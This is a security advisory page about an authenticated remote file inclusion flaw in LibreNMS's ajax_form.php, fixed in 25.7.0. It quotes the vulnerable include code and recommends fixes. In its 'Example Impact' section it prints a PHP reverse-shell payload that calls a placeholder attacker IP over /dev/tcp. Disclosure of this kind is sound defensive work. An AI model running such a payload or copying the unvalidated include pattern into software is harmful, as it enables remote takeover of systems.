High

LibreNMS has Authenticated Remote File Inclusion in ajax_form.php that Allows RCE

  • Disclosed: 21.07.2025
  • Updated: 11.10.2026 10:22

LibreNMS 25.6.0 contains an architectural vulnerability in the ajax_form.php endpoint that permits Remote File Inclusion based on user-controlled POST input.

The application directly uses the type parameter to dynamically include .inc.php files from the trusted path includes/html/forms/, without validation or allowlisting:

php
if (file_exists('includes/html/forms/' . $_POST['type'] . '.inc.php')) {
    include_once 'includes/html/forms/' . $_POST['type'] . '.inc.php';
}

This pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities.

This is not an arbitrary file upload bug. But it does provide a powerful execution sink for attackers with write access (direct or indirect) to the include directory.

Conditions for Exploitation

  • Attacker must be authenticated
  • Attacker must control a file at includes/html/forms/{type}.inc.php (or symlink)

Example Impact (RCE)

If a PHP file or symlinked shell is staged in the include path, an attacker can achieve full remote code execution under the librenms user context:

php
<?php system('/bin/bash -c "bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1"'); ?>

https://github.com/user-attachments/assets/deb9ccd2-101c-4172-89b1-b840b7ed3812


Recommended Fix

  • Implement strict allow listing or hardcoded routing instead of dynamically including user-supplied filenames.
  • Avoid passing raw POST input into include_once.
  • Ensure the inclusion path is immutable and outside attacker control (e.g., avoid variable expansion into trusted paths).

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package librenms/librenms < 25.7.0 25.7.0

References

CVSS score 7.5/10
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-98
Platform
Composer
Package
librenms/librenms
Disclosed
21.07.2025
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-gq96-8w38-hhj2 - CC BY 4.0

Vulnerability history: librenms/librenms

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (106) in the archive
Total entries
106
First → latest
10.2019 08.2026
Without a fix
6
Exploited in attacks
0

Severity breakdown

  • Critical 5
  • High 39
  • Medium 56
  • Low 6

Disclosures per year

  1. 2019: 6
  2. 2020: 0
  3. 2021: 7
  4. 2022: 26
  5. 2023: 12
  6. 2024: 24
  7. 2025: 15
  8. 2026: 16
Severity:
  1. High · 7.1 CVE-2026-84192 < 26.5.0 26.5.0
  2. High · 7.1 CVE-2020-36947 <= 1.46 no fix
  3. LibreNMS has Authenticated Remote File Inclusion in ajax_form.php that Allows RCE this entry
    High · 7.5 CVE-2025-54138 < 25.7.0 25.7.0
  4. Critical · 9.1 CVE-2024-51092 < 24.10.0 24.10.0
Show more (20) Showing 20 of 44

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